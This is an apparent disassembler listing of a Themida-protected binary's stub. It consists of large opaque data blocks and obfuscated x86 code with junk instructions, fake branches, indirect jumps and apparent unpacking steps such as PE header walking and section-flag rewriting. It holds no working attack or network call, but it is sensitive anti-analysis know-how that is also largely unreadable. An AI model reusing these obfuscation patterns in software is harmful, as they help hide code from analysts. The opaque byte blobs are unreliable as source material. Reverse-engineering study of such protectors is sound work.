0A2060000h, 307B3D7Ah dd 0DDBE8459h, 0A3C5EFD5h, 91C881D8h, 5E4115B6h, 5F616057h dd 0E861h, 815A0000h, 16E35FEAh, 0BE906h, 0D4B0000h, 72BFB30h dd 3A8B8D25h, 5E9F595h, 50000000h, 88F49043h, 0F606052h dd 800FFBB7h, 0 dd 61FD8A61h, 13ED828Bh, 830F0610h, 11h, 0B8A0Fh, 6E90000h dd 0B3000000h, 5E13C8Eh, 0DE9EBh, 12530000h, 0DE37195Ch dd 66705119h, 0B9A85C73h, 41C64E6Dh, 0FE9h, 9DAF6C00h dd 495A4223h, 3BC6EFC0h, 0A3FEAD1Bh, 0F60E1F7h, 28Fh, 0E8616000h dd 9, 7B41E8D4h, 9E956524h, 615AF5F0h, 88D0F5Ah, 0F000000h dd 284h, 60616000h, 66DA8B66h, 561D88Bh, 3039h, 0D88B5060h dd 890F5Eh, 61000000h, 0FFFFFF25h, 8289F57Fh, 61013EDh dd 1860Fh, 5AF50000h, 0F961F860h, 0BE666059h, 0C361FA33h dd 51F18A60h, 615ECE8Bh ; --------------------------------------------------------------------------- loc_5B98B0: ; DATA XREF: Themida_:0054D350o push ecx jmp loc_5B98C4 ; --------------------------------------------------------------------------- dw 0CF6Eh dd 0EC24D470h, 207E3653h, 0E6FEA60Ch ; --------------------------------------------------------------------------- loc_5B98C4: ; CODE XREF: Themida_:005B98B1j push edx jmp loc_5B98D5 ; --------------------------------------------------------------------------- dw 0BAC1h ; --------------------------------------------------------------------------- mov cl, 0C8h mov [esi-537096E9h], ch movsd loc_5B98D5: ; CODE XREF: Themida_:005B98C5j jo loc_5B98E2 jl loc_5B98E2 cmc loc_5B98E2: ; CODE XREF: Themida_:loc_5B98D5j ; Themida_:005B98DBj call $+5 pop edx sub edx, 616E47Ch pusha pusha jbe $+6 push edi pop esi popa call near ptr loc_5B9900+4 inc eax cmc loc_5B9900: ; CODE XREF: Themida_:005B98F9p and ds:6160A76Dh, bl pop eax popa clc mov ecx, eax cmc call near ptr dword_5B96C0+0E0h jmp loc_5B991C ; --------------------------------------------------------------------------- mov esi, 0C7C806E0h dec edi loc_5B991C: ; CODE XREF: Themida_:005B9911j xor edx, edx cmc jmp loc_5B9938 ; --------------------------------------------------------------------------- dd 7A5886D2h, 0DDA1DF3Bh, 99D892AEh, 7F51EE75h, 0E1F2645Ah ; --------------------------------------------------------------------------- loc_5B9938: ; CODE XREF: Themida_:005B991Fj div ecx jnb loc_5B9958 jbe loc_5B9958 jmp loc_5B9958 ; --------------------------------------------------------------------------- std mov esp, 0F470AFA9h test al, 9 sub eax, 6C935B82h loc_5B9958: ; CODE XREF: Themida_:005B993Aj ; Themida_:005B9940j ... mov eax, edx stc pop edx pusha jmp loc_5B996A ; --------------------------------------------------------------------------- dw 9772h dd 0C607366Ah db 83h, 0C6h ; --------------------------------------------------------------------------- loc_5B996A: ; CODE XREF: Themida_:005B995Dj movsx eax, ax popa pop ecx jnz loc_5B997D jge loc_5B997D pusha popa loc_5B997D: ; CODE XREF: Themida_:005B996Fj ; Themida_:005B9975j jmp locret_5B998D ; --------------------------------------------------------------------------- dw 0EEE0h dd 0F757016h, 0B28925CBh db 8Ch ; --------------------------------------------------------------------------- locret_5B998D: ; CODE XREF: Themida_:loc_5B997Dj retn ; --------------------------------------------------------------------------- jbe loc_5B999E jmp loc_5B999E ; --------------------------------------------------------------------------- db 0C8h, 21h, 0A6h db 0B9h, 0CFh ; --------------------------------------------------------------------------- loc_5B999E: ; CODE XREF: Themida_:005B998Ej ; Themida_:005B9994j mov eax, eax jmp loc_5B99B6 ; --------------------------------------------------------------------------- db 93h, 7Fh, 6Ch dd 0B63D1752h, 0AA8B9DC7h, 252CD0DAh db 44h, 63h ; --------------------------------------------------------------------------- loc_5B99B6: ; CODE XREF: Themida_:005B99A0j jmp loc_5B99C7 ; --------------------------------------------------------------------------- xchg eax, edi fnstenv byte ptr [ebx] inc eax fisubr dword ptr [bp+di-53h] dec esi dec dword ptr [esi-47h] loc_5B99C7: ; CODE XREF: Themida_:loc_5B99B6j mov eax, eax pusha mov ecx, 10678A65h popa lea eax, [ebp+616A925h] pusha jmp loc_5B99EB ; --------------------------------------------------------------------------- dd 2317184Ah, 320497BCh, 9DCFB18Bh ; --------------------------------------------------------------------------- add esi, [esi-2Ah] loc_5B99EB: ; CODE XREF: Themida_:005B99D7j sbb dh, 0A5h popa call eax cld mov ax, cx cmc lea eax, [ebp+616E335h] jmp loc_5B9A15 ; --------------------------------------------------------------------------- db 58h, 0CDh, 99h dd 0CDC4D5D0h, 2C2E3CCDh, 78EDFDEBh, 2E18317h db 39h ; --------------------------------------------------------------------------- loc_5B9A15: ; CODE XREF: Themida_:005B99FCj pusha mov eax, edi call near ptr sub_5B9A2C push 5777A9B4h mov al, 0D7h inc ecx dec eax jmp near ptr 45053D4Fh ; --------------------------------------------------------------------------- db 0F7h ; =============== S U B R O U T I N E ======================================= sub_5B9A2C proc far ; CODE XREF: Themida_:005B9A18p arg_59CEDEB6 = byte ptr 59CEDEBAh pop edi popa mov [ebp+6101CA1h], eax jz loc_5B9A4E jmp loc_5B9A4E ; --------------------------------------------------------------------------- mov ecx, 84989FCBh dec edi clc cmp eax, [ebp+35h] pop ecx xlat and [edi], ch nop loc_5B9A4E: ; CODE XREF: sub_5B9A2C+8j ; sub_5B9A2C+Ej lea eax, [ebp+616E445h] jmp loc_5B9A6D ; --------------------------------------------------------------------------- or [esp+ecx-28h+arg_59CEDEB6], ch cli icebp adc [edi-31h], esi sbb dword ptr [ecx+7563F7FEh], 0FFFFFFF0h dec esp loc_5B9A6D: ; CODE XREF: sub_5B9A2C+28j jmp loc_5B9A86 ; --------------------------------------------------------------------------- inc esi xchg eax, esp retf ; --------------------------------------------------------------------------- db 68h, 4Fh, 9Ch dd 71B9A04Fh, 762CAB24h, 644CED89h db 0FCh, 0A9h ; --------------------------------------------------------------------------- loc_5B9A86: ; CODE XREF: sub_5B9A2C:loc_5B9A6Dj mov [ebp+6101EE5h], eax jg loc_5B9AB1 jge loc_5B9AB1 jmp loc_5B9AB1 ; --------------------------------------------------------------------------- db 0AAh, 0B6h, 96h dd 0C6507D1Eh, 887941F6h, 41ECB229h, 84922217h db 79h ; --------------------------------------------------------------------------- loc_5B9AB1: ; CODE XREF: sub_5B9A2C+60j ; sub_5B9A2C+66j ... mov eax, 0 pusha mov ch, bh mov ax, 0E4BFh popa or eax, eax jz loc_5B9C4C pusha push edx mov si, 53FEh pop ecx jmp loc_5B9AE1 ; --------------------------------------------------------------------------- dw 0F77Bh dd 0ACF015D6h, 1AF25F14h, 0DCB239C2h db 6Bh ; --------------------------------------------------------------------------- loc_5B9AE1: ; CODE XREF: sub_5B9A2C+A1j popa jo loc_5B9AF0 pusha mov cx, si mov cx, di popa loc_5B9AF0: ; CODE XREF: sub_5B9A2C+B6j mov byte ptr [ebp+61023E5h], 56h pusha mov edi, 26F9D64Ah popa push 0A9C530DFh clc push dword ptr [ebp+6101D45h] pusha movsx esi, cx mov si, 0E350h popa lea eax, [ebp+613858Ah] jb loc_5B9B33 jmp loc_5B9B33 ; --------------------------------------------------------------------------- dd 0ACD2BDD1h, 0D5AAACFEh, 0BA326D16h db 84h, 0E1h, 0BDh ; --------------------------------------------------------------------------- loc_5B9B33: ; CODE XREF: sub_5B9A2C+EDj ; sub_5B9A2C+F3j call eax jge loc_5B9B46 jmp loc_5B9B46 ; --------------------------------------------------------------------------- dd 0B5DD5EF1h ; --------------------------------------------------------------------------- mov bl, 0B2h loc_5B9B46: ; CODE XREF: sub_5B9A2C+109j ; sub_5B9A2C+10Fj push eax pusha popa jmp loc_5B9B61 ; --------------------------------------------------------------------------- dw 9D32h dd 0E4FF84C8h, 1465FD33h, 4CDB0E16h, 0A5A8203Ah ; --------------------------------------------------------------------------- cli loc_5B9B61: ; CODE XREF: sub_5B9A2C+11Dj lea ecx, [ebp+61015A5h] pusha movsx eax, di mov esi, ecx popa push ecx jmp loc_5B9B7B ; --------------------------------------------------------------------------- dd 0D1195ED5h db 0A2h, 0CBh, 0AEh ; --------------------------------------------------------------------------- loc_5B9B7B: ; CODE XREF: sub_5B9A2C+143j push 4 stc push 1000h pusha call sub_5B9B9A mov ch, 8Ch div dword ptr [ecx] push edx jmp far ptr 0E751h:0A6490872h sub_5B9A2C endp ; sp-analysis failed ; --------------------------------------------------------------------------- retn 40C4h ; --------------------------------------------------------------------------- db 8Eh, 93h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_5B9B9A proc near ; CODE XREF: sub_5B9A2C+158p jmp near ptr sub_5B9BAA sub_5B9B9A endp ; --------------------------------------------------------------------------- les esp, [esp+esi*4+75h] wait inc ebp aad 67h pop ecx mov cl, 2Dh ; =============== S U B R O U T I N E ======================================= sub_5B9BAA proc far ; CODE XREF: sub_5B9B9Aj pop ebx mov ax, 0A43Dh popa push dword ptr [ebp+6101FD5h] pusha pusha cmc mov bl, 0CBh popa jmp loc_5B9BD5 ; --------------------------------------------------------------------------- db 37h, 0F4h, 0D1h dd 30BD0F77h, 6FA4A4CBh, 8362F16Dh, 328CFA42h db 0E3h ; --------------------------------------------------------------------------- loc_5B9BD5: ; CODE XREF: sub_5B9BAA+12j popa call eax jmp loc_5B9BE2 ; --------------------------------------------------------------------------- cmp ebx, [ebp+7Fh] idiv byte ptr [eax] loc_5B9BE2: ; CODE XREF: sub_5B9BAA+2Ej mov edi, [ebp+6101FD5h] jl loc_5B9BF7 pusha stc jbe $+6 popa loc_5B9BF7: ; CODE XREF: sub_5B9BAA+3Ej add edi, [edi+3Ch] jns loc_5B9C0C pusha jns $+6 mov dx, 0C7EBh popa loc_5B9C0C: ; CODE XREF: sub_5B9BAA+50j jmp loc_5B9C1E ; --------------------------------------------------------------------------- db 4Fh, 8Ch, 0F1h ; --------------------------------------------------------------------------- adc ecx, [ebp+esi*8-5ED1D42Ch] pop esi lea esi, [esi] loc_5B9C1E: ; CODE XREF: sub_5B9BAA:loc_5B9C0Cj add edi, 0F8h jns loc_5B9C37 jmp loc_5B9C37 ; --------------------------------------------------------------------------- db 5Bh dd 0DEB66242h ; --------------------------------------------------------------------------- retf 56A2h ; --------------------------------------------------------------------------- loc_5B9C37: ; CODE XREF: sub_5B9BAA+7Aj ; sub_5B9BAA+80j mov dword ptr [edi+24h], 60000020h jmp loc_5B9C4C ; --------------------------------------------------------------------------- db 46h dd 6AB7EE43h, 0F64F42D6h ; --------------------------------------------------------------------------- loc_5B9C4C: ; CODE XREF: sub_5B9A2C+94j ; sub_5B9BAA+94j lea ebx, [ebp+6100F51h] jmp loc_5B9C6B ; --------------------------------------------------------------------------- db 3Ch dd 88406E00h, 0FEAC156h, 95ED08F6h, 0DA74DBD6h db 7Ah, 5, 0B6h ; --------------------------------------------------------------------------- loc_5B9C6B: ; CODE XREF: sub_5B9BAA+A8j mov eax, [ebx] pusha jge loc_5B9C77 add cl, 7Dh loc_5B9C77: ; CODE XREF: sub_5B9BAA+C4j jno loc_5B9C7E cmc loc_5B9C7E: ; CODE XREF: sub_5B9BAA:loc_5B9C77j popa or eax, eax jz loc_5B9CCA pusha mov dl, ch jmp loc_5B9C9B ; --------------------------------------------------------------------------- db 0CDh dd 0F2C82B6Eh, 661F105Dh db 0F0h, 0D7h, 81h ; --------------------------------------------------------------------------- loc_5B9C9B: ; CODE XREF: sub_5B9BAA+E0j popa pusha jmp loc_5B9CB4 ; --------------------------------------------------------------------------- dw 0E53Eh ; --------------------------------------------------------------------------- fadd dword ptr [edx-4Fh] pusha and [esi+7Eh], bl cwde sbb eax, 1B998695h cmp ebx, [esi-19h] loc_5B9CB4: ; CODE XREF: sub_5B9BAA+F3j jb loc_5B9CBE mov bx, 0CD77h loc_5B9CBE: ; CODE XREF: sub_5B9BAA:loc_5B9CB4j popa mov eax, [eax] pusha mov edi, eax popa mov [ebx+4], eax pusha popa loc_5B9CCA: ; CODE XREF: sub_5B9BAA+D7j mov ecx, 234CF6h jmp loc_5B9CE9 ; --------------------------------------------------------------------------- dd 23089068h, 4 dup(0) db 0 ; --------------------------------------------------------------------------- loc_5B9CE9: ; CODE XREF: sub_5B9BAA+125j jmp loc_5BA234 ; --------------------------------------------------------------------------- dw 0FFAFh dd 0D37900BCh, 0F499209Ch, 0D378FFBBh, 0F1932296h, 0F410F6B2h dd 27A3E286h, 0BCFDB0h, 1E9AD579h, 0FFBBF097h, 0C979300Ch dd 2D6BDA94h, 7932E4B0h, 0DBC708A9h, 0DDC908BCh, 87597D59h dd 0ECD110B4h, 98147947h, 0EFAFCCE3h, 1AA8637Dh, 0FA6DCC28h dd 0C704A71Eh, 0B98257DBh, 0D564D817h, 330DF92Eh, 2FE45E4Dh dd 24006DCCh, 0DDC9FEA5h, 10B78459h, 0F8B027DBh, 0E8BEAFC1h dd 70FD6FCDh, 289A916Bh, 0CC6DCC97h, 0F08B7B50h, 3AF130CFh dd 89774905h, 0CC9720A2h, 525FC46Dh, 0ECCC09BDh, 49FDBC98h dd 0E9FE620Eh, 0CD81BC72h, 8068FAF3h, 0BF4FA1F7h, 427D31AAh dd 0BA96374Eh, 9F23E611h, 776DCCEEh, 472BD7FBh, 0B99DDC90h dd 8928DBCDh, 4D68E4Dh, 50442061h, 863CF7D4h, 5F088F4Bh dd 0E689502Ah, 83D2D4A9h, 6DCCEE3Ah, 0C227BEFDh, 336AA3EFh dd 83CFh, 79323D00h, 0E7412A44h, 4D6578CAh, 7138E603h dd 6DCCB2D3h, 8D79B86Ch, 731F560Eh, 639038EFh, 0CCB21AA8h dd 421EFA6Dh, 5A91374Eh, 5967FE9Dh, 9752F1D2h, 336A6956h dd 1251F3C6h, 83E5025Eh, 8, 0CF06BE7Dh, 0A22A3F23h, 29437A32h dd 7CEE5457h, 2A066DCCh, 1DF514Dh, 0CC7CB80Ah, 0B6F1956Dh dd 0BAB666CAh, 376E169Dh, 5A974C4Bh, 0DA15B980h, 712D4A26h dd 67CE653Eh, 47CE8AC1h, 59EF6BA0h, 533F7E32h, 7B558C34h dd 8BF6CC52h, 0CEABD4B5h, 0DB14B9D0h, 0C0F9B027h, 32D950D4h dd 0DB609FDh, 2E4D4A76h, 9BDA8E97h, 0C87E3D1Fh, 3CE3708Dh dd 927EB36Ch, 3CECA98Eh, 0ED156F6Fh, 0C77E1D09h, 2B1E28Eh dd 2FD46763h, 0DF22D5F2h, 0BF336AE3h, 5Bh, 3F7E320Dh, 0EA58532Dh dd 0A6DCC7Ch, 4E4D390Eh, 0F7B25E97h, 842809A8h, 0FBB02B45h dd 0A635A9BEh, 0D7A9C302h, 0CC7C6ED4h, 0CDAA866Dh, 0D815BAD1h dd 0A9487B2Ch, 0BEF7AE2Dh, 342BF6A9h, 4A0B336Bh, 81000000h dd 533F7E32h, 9F538E34h, 55DC734Ch, 8DC96BB3h, 0B95FA796h dd 328B219Dh, 84F437Ah, 6DCC7CBFh, 0FDACD790h, 6DCC7C45h dd 0F5A1C5A1h, 0F431D6h, 6F44DB96h, 0FA46C711h, 0BF866A02h dd 29846100h, 9336B1Bh, 1, 5C04D783h, 0D68B4825h, 55F8C39Dh dd 50473714h, 24AE6297h, 7A2FF68Dh, 0A1388D41h, 8069203Ah dd 6467FC06h, 552FFE67h, 4B20C53Ch, 50894057h, 62098074h dd 812AB12Dh, 18FC3B43h, 70546908h, 0D86FD584h, 0F8E49423h dd 0E9256AD3h, 1B30D934h, 13EDE988h, 236EAA18h, 0E2C54A94h dd 4EB87DA6h, 28B3C8ACh, 0DE85547Fh, 9279FDA9h, 94231C30h dd 838658D4h, 94231C3Fh, 0C3775BD7h, 84568B34h, 1C13AF5Ah dd 77F39423h, 0F9CE0BC0h, 0A0D58E0Dh, 6D0497F4h, 72E61BC4h dd 0FB37688h, 0E794231Ch, 1C2C9695h, 6CC89423h, 61AC7388h dd 41397BD6h, 12Eh, 88C97C3Fh, 0BD5CD973h, 78B6DF15h, 2E129456h dd 8A5C6D1Ch, 0AEAA67FCh, 0E71CC3C2h, 6FACD815h, 9F6BC1AFh dd 0AF2A14CAh, 6407BEFDh, 0E2F77B27h, 897DB259h, 70245912h dd 0EDE9881Bh, 0C6189100h, 0A2B7D8A5h, 813D7219h, 7AFCF3BEh dd 36D339h, 6EED0000h, 0C65E7BBAh, 401AC15Ch, 0CC7CD949h dd 7521FDEDh, 508940FBh, 7C32907Bh, 999BEDCCh, 192E6F22h dd 6974EB8Ah, 31B15872h, 0D56DCC7Ch, 0A764E559h, 0D8000000h dd 265B04D7h, 0C025B451h, 0CC7C79C9h, 32907B6Dh, 0D26DCC7Ch dd 0BCAA656h, 0D691D56h, 771417E9h, 0F67FC0Ch, 0BF685F13h dd 0FFECCE8Ah, 0EA9E782Bh, 4E7BF7ABh, 44032F61h, 0CF8C61A0h dd 0F709E318h, 233B8E34h, 0ED0A6694h, 3ADF6A31h, 0AB949423h dd 18560D14h, 5BE91976h, 9E4605CDh, 72CF8B67h, 78667863h dd 6A7EED53h, 0BE6D26F9h, 9423EB04h, 8B6084E0h, 18F39FA0h dd 0A2C8059Eh, 7CD6B501h, 0B1AD6D8Ah, 0E81DC6C5h, 7817AA3Ch dd 0F507D4E3h, 9BA2200Bh, 0E6429E14h, 3B3CEF11h, 0C3942F83h dd 0FCD819CCh, 4D7AA40h, 0F0742061h, 706B8ADBh, 64AAAB5Eh dd 0D85467F7h, 0C1F6AD2Ch, 0A0D58E0Dh, 0BBF7AF4h, 1C10FBD0h dd 0C1F907EDh, 468743E2h, 4A0E9F45h, 763D1AEBh, 952498CDh dd 3B4B0EEh, 10BF50A7h, 0CDB9F699h, 2998D69h, 522D074Dh dd 9C552D32h, 0AAC6AAE7h, 0ED2EDFF6h, 0B4E9A239h, 59F88BC0h dd 0B3348E7Dh, 54D0B906h, 942BC670h, 2DA1D68Dh, 0D4C0F5AEh dd 0AC3h, 4D73900h, 0F571255Ch, 32C288D8h, 52493D80h, 19B06499h dd 4F463A75h, 32A95D9Eh, 34533F7Eh, 26A55190h, 39504481h dd 30A75B94h, 0CF554178h, 717868h, 240C8900h, 0C181E189h dd 4, 8704E983h, 685C240Ch, 7EF2h, 68241489h, 2AB5h, 57240C89h dd 4717B1BFh, 5FFA893Fh, 0FF32F281h, 8B543951h, 0C483240Ch dd 4EC8104h, 89000000h, 418F2414h, 2434FF08h, 4C48159h dd 0FF000000h, 835A2434h, 0A9E904C4h, 0ACFFF992h, 4C37478Eh ; --------------------------------------------------------------------------- loc_5BA234: ; CODE XREF: sub_5B9BAA:loc_5B9CE9j mov eax, 616ED65h add eax, ebp jmp eax sub_5B9BAA endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 4Dh, 22h, 0C6h dd 0A0EAEA0Ah, 0CA54E31Dh, 0AE2E2C17h, 75734E23h, 0E18BE840h dd 49FA0B32h, 4D3C4603h, 5FD3987Fh, 17545527h, 75B3AB2Ch dd 84C59F77h, 890EB870h, 0CCF1902Fh, 3B7A933Eh, 0B617320h dd 9E95B37h, 51284253h, 0B2DD6239h, 6BA9B649h, 1C45DE1Bh dd 0ECD9CA61h, 2FF5A212h, 0AF895638h, 3E80FB74h, 9A8BC12Ah dd 9F09D55Eh, 0BE844h, 0ACC60000h, 54464F12h, 32B1750h dd 11E964h, 3C2E0000h, 8864E881h, 23EB6A2Ah, 2266B130h dd 5B812ECBh, 28A0F51h, 60000000h, 0C3815861h, 5BC7h, 5EDFDDBFh dd 16B8684Ah, 11E90000h, 0C2000000h, 5E89394Bh, 1EC37765h dd 75522AC0h, 43C5CFE9h, 79BF665Eh, 0E9138B61h, 0Fh, 0CB2D885Dh dd 7063C403h, 4E4C4F98h, 81AE1FC8h, 0F408A1EAh, 0EE969h dd 455D0000h, 0CA120967h, 2F268DCEh, 0F6FBAD06h, 94E8F281h dd 14E96186h, 4000000h, 0DB5A241Ah, 863F5CB8h, 4DBD3A63h dd 5B2256FBh, 8108F1F3h, 0DA7584F2h, 89CE8A4Bh, 28C0F13h dd 0B0000000h, 4EB839Ah, 0EE816160h, 1, 12850Fh, 0F8600000h dd 0E243B866h, 17E961h, 58330000h, 0B43060A1h, 376AB866h dd 0FFFF74E9h, 0E418F1FFh, 3E8E456Ah, 608D8D50h, 6A0616F0h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 20C4C357h, 78D211D2h, 31AFE72h, 10209595h dd 81666006h, 61C3C2EEh, 9F58D89h, 6A0610h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0A706D9C3h dd 229DFC98h, 84A7BE66h, 13E9h, 4E6ADF00h, 88B867BEh, 0A19FAA3Eh dd 59E41Dh, 0ED5502A5h, 231985C7h, 6FC00610h, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 0F94539C3h, 786BC081h, 85C713E9h, 61022C1h, 0 ; --------------------------------------------------------------------------- push 0 push eax call sub_5BA457 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BA457 proc near ; CODE XREF: Themida_:005BA44Fp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_5BA457 endp ; --------------------------------------------------------------------------- mov dword ptr [esi-6D08Ch], 1030C5B5h push es mov [ebp+6100845h], edx mov eax, 72C1C9EEh call dword ptr [ebp+6102DB9h] push 0 push esi call sub_5BA48E and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BA48E proc near ; CODE XREF: Themida_:005BA486p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 19h inc esi push esi retn sub_5BA48E endp ; --------------------------------------------------------------------------- dw 0A52Bh dd 2CD23DDBh, 10E8h, 63D6ED00h, 1F3AB5CAh, 921951E0h, 0D90E8429h dd 0B58960F4h, 6100829h, 5B616160h, 95FF006Ah, 61031C9h dd 3CEBC08Bh, 8D308F3Dh, 0B7257168h, 0F648086Bh, 0F5AE3683h dd 0F2DC0B2Eh, 0DB8F6EE9h, 292981DFh, 6FA8AA41h, 80E8CDA1h dd 0D479C5ADh, 0A0AC1CBFh, 372C1A7Ch, 711B1F9Bh, 0D93A7796h dd 63EF2378h, 1AE9h, 0CB590800h, 39h, 4 dup(0) dd 0E9000000h, 4FBh, 16F1E368h, 8F9EE906h, 7268FFF9h, 0E90616F2h dd 0FFF98F94h, 16F3D168h, 8F8AE906h, 9F4FFFF9h, 0B359E05Ch dd 9439C07Ch, 0B358DF5Bh, 9133C276h, 94F0D652h, 0C783C266h dd 0E05C9D50h, 0BE7AB559h, 0DF5B9037h, 0A91910ECh, 4D6BDA8Ch dd 4D7C450h, 0F571255Ch, 6AA95BD8h, 33681FB6h, 508B2A77h dd 0CC07BB7Eh, 597F5CD8h, 0FC1F31B2h, 0DECDB367h, 9423A164h dd 0D3C7A480h, 42FCAB57h, 0A19423A1h, 9B767312h, 7B397B58h dd 33Bh, 37BA15D1h, 718932A0h, 6C275DCAh, 7B577BB6h, 0BA39AA61h dd 81DD67FCh, 289A916Fh, 0CC943C0Ah, 378B7E50h, 0CF943C0Ah dd 12B97653h, 9159943Dh, 7C4E8D2Ch, 7700D88Dh, 0BD6F669Bh dd 0B28E927Eh, 227F6CBEh, 91DB39B1h, 0FE156885h, 0C80803DDh dd 8891862Bh, 9F4FF3B6h, 0CBA79DA5h, 5D06D5A7h, 594D021Fh dd 0B0945DC8h, 758B60C4h, 0DC1DD08Bh, 0A42F4C28h, 2812C6FBh dd 0D3BF00B1h, 25D110B4h, 8B482541h, 73A9FD4h, 0B4380D8h dd 3348A1Bh, 9F4F0000h, 0B359E05Ch, 9439C07Ch, 0B358DF5Bh dd 9133C276h, 94F0D652h, 0C783C266h, 0E05C9D50h, 0BE7AB559h dd 0DF5B9037h, 0A91910ECh, 4D6BDA8Dh, 0BD5CC450h, 1F5D4C1Eh dd 0A767F76Ch, 9908BAC2h, 1E5D27Bh, 0A74A11EFh, 26CA9166h dd 0A34615E7h, 0EFD18562h, 7FA81A11h, 7F2A9425h, 94257FC3h dd 0DB574723h, 4B9335FEh, 0C5C490A2h, 94257E7Dh, 0F5B09D99h dd 0FA2FD86Ah, 2A462A06h, 0D9942F76h, 0A79425h, 0C21D1ECBh dd 39ED4A00h, 2A5B0h, 0CB0EC000h, 0A9E0880Fh, 0C6FFA635h dd 0A3E08312h, 0BDFCB027h, 8DFF0B01h, 99209CDBh, 7403B7F8h dd 0A01793CEh, 13F6B2E7h, 8EC08229h, 0C7246BDAh, 1EBD5CFDh dd 6C1F5D4Ch, 0CBA767F7h, 6C3690D7h, 66079425h, 59B2FE1Ch dd 40246E38h, 588F3554h, 35CCEFACh, 4EE59E87h, 818C62ABh dd 1B94239h, 32880000h, 39504479h, 0B8835D92h, 51863D11h dd 0F1A5C1A5h, 7C368C7Fh, 52CE6DCCh, 80E5596Eh, 0A1886279h dd 67FC11B8h, 771ED24Eh, 942396CFh, 0FBFE952Eh, 397B3FB2h dd 3192h, 4D7F800h, 0B548255Ch, 0E8A3BD1Eh, 67FC7CCBh dd 7423CF4Bh, 942383CAh, 0B66AA95Bh, 45316A1Fh, 0D6FA992Ah dd 0FAFF962Dh, 397B36B7h, 0DA97h, 7932F500h, 0E6C006A9h dd 2B8B793Ah, 0FBD5F1D5h, 7A4F8A40h, 815B0D8Ch, 0C2AE92CDh dd 23DF168h, 0D56D1C0Eh, 316DCCF2h, 4C3F1135h, 6DCCF2F6h dd 7E35120Eh, 0E5E490C5h, 64F7093Eh, 0F16582BFh, 0CC8FAE3Ah dd 93C87F6Dh, 32084517h, 17E725B3h, 373A8883h, 7EDA6DCCh dd 0E1F88562h, 8470AB5Fh, 0C1AAC4A0h, 82A095BFh, 0F709DE9Dh dd 0FABF0C34h, 7688E467h, 460241E3h, 443E574h, 83B86CE7h dd 21253A88h, 627EDA94h, 43E7EF5h, 5142524Ah, 146h, 0BA6EB161h dd 0DA4E853Bh, 0F16DA65Bh, 0D488C56Ah, 0E864A345h, 0B0548602h dd 8B3EBD71h, 63078E4Ah, 7E25B428h, 0A69A9549h, 0DA8F5FE3h dd 723AB76Bh, 7C5696D7h, 0FAF266FDh, 73B256DDh, 0B256E5B7h dd 26DD5673h, 0D7AF3DF1h, 6F235E04h, 0A65DD6F3h, 817DDE68h dd 1C9B9FC1h, 584C2869h, 13BA8A41h, 7B4126DAh, 739EDC38h dd 6C29EC2h, 0AFC11AB9h, 0FC24C7FCh, 29431F67h, 0BBFFEB2h dd 0CA03AA31h, 89805AD6h, 943CE339h, 0BF6C81DDh, 943CE307h dd 7E3A6F18h, 31661D9Ch, 2E2AD845h, 58C2042Dh, 30D45F7Ch dd 0A45CDFF1h, 0C4C7B96Dh, 943C717Eh, 0A1B69A96h, 8CF4E5h dd 5C480000h, 5D4C1EBDh, 67F76C1Bh, 0D815BA81h, 6F33482Ch dd 0DF88FFF3h, 709BD0AAh, 5F55EF07h, 0A56F2613h, 432025E8h dd 8229B026h, 0C912594Dh, 9AD4D8E0h, 14CB6A09h, 33EC6BDFh dd 0D07312FEh, 3FE8DF93h, 0CA7F160Ah, 36771A91h, 0AA9584Ah dd 97221CC6h, 316820F0h, 0E805E145h, 0CE75BC53h, 160A4BFEh dd 9882361Ah, 1A152B3h, 0B157C576h, 2DDF567Ah, 491E02EEh dd 0F0A4D992h, 0DE7h, 215F5500h, 7CF64C3Fh, 120E6DCCh dd 80326F35h, 9952493Dh, 7519B064h, 9E4F463Ah, 7E32A95Dh dd 9034533Fh, 8126A551h, 94395044h, 7830A75Bh, 50CF5541h dd 405E089h, 83000000h, 48704E8h, 24248B24h, 3AB268h, 242C8900h dd 81E18951h, 4C1h, 4E98100h, 87000000h, 895C240Ch, 0E368240Ch dd 8B0616F0h, 0C483242Ch, 0C8B5404h, 4C48124h, 81000000h dd 4ECh, 242C8900h, 8B08418Fh, 8950240Ch, 405E0h, 4050000h dd 87000000h, 8B5C2404h ; --------------------------------------------------------------------------- sub al, 24h push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5534D8 ; --------------------------------------------------------------------------- sbb ebp, [esi+67D93380h] lodsd adc bh, [eax+616F53Ch] add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 2799A518h, 694858D9h, 12E2AA8Eh, 5573694Ah, 6EF273A4h dd 5BD6E045h, 76CBF018h, 5E9559D8h, 6A31BE7Fh, 4E818DDBh dd 27B4C52Fh, 6056C3A5h, 67C81F17h, 7EA73826h, 12A7A91h dd 1EBC488h, 1D3EA071h, 2C80A945h, 59B2AB43h, 1918D5F7h dd 79D6308Eh, 7C743B18h, 57845ADBh, 0BE8h, 800E8D00h, 8FF74A53h dd 4F56DE6Ah, 5BFE8B66h, 81FEBF0Fh, 7498C3h, 7316B900h dd 6836C1h, 81000000h, 7476FEEh, 820F5871h, 6, 3687D981h dd 148B5D9Ch, 0FA8B6603h, 6B54F281h, 0FE9546Dh, 5B000000h dd 1B67A72Bh, 0ABBF3939h, 9AAFF3F9h, 0C281528Ch, 53FC49FCh dd 0FFCE8166h, 39C28135h, 660E0394h, 89D640BFh, 8DB50314h dd 178AB966h, 0F04E883h, 138Fh, 7E800h, 153C0000h, 6B64D95Eh dd 830F47h, 59000000h, 8C28F881h, 850FFFFFh, 17h, 0E9F0B70Fh dd 21h, 56DCCF8Ah, 0E9A4BE8Dh, 7049AAB8h, 66F6438Eh, 0E98E0ABFh dd 0FFFFFF7Ah, 7E4356BAh, 9C9CCEABh, 14E80Ah, 0BFE50000h dd 18C70BA7h, 0D61F80EAh, 46B24BADh, 0DFCA891h, 0F081524Bh dd 483BBFD5h, 0BE66575Fh, 8158D03Dh, 6F8FC7h, 0C18B6600h dd 68h, 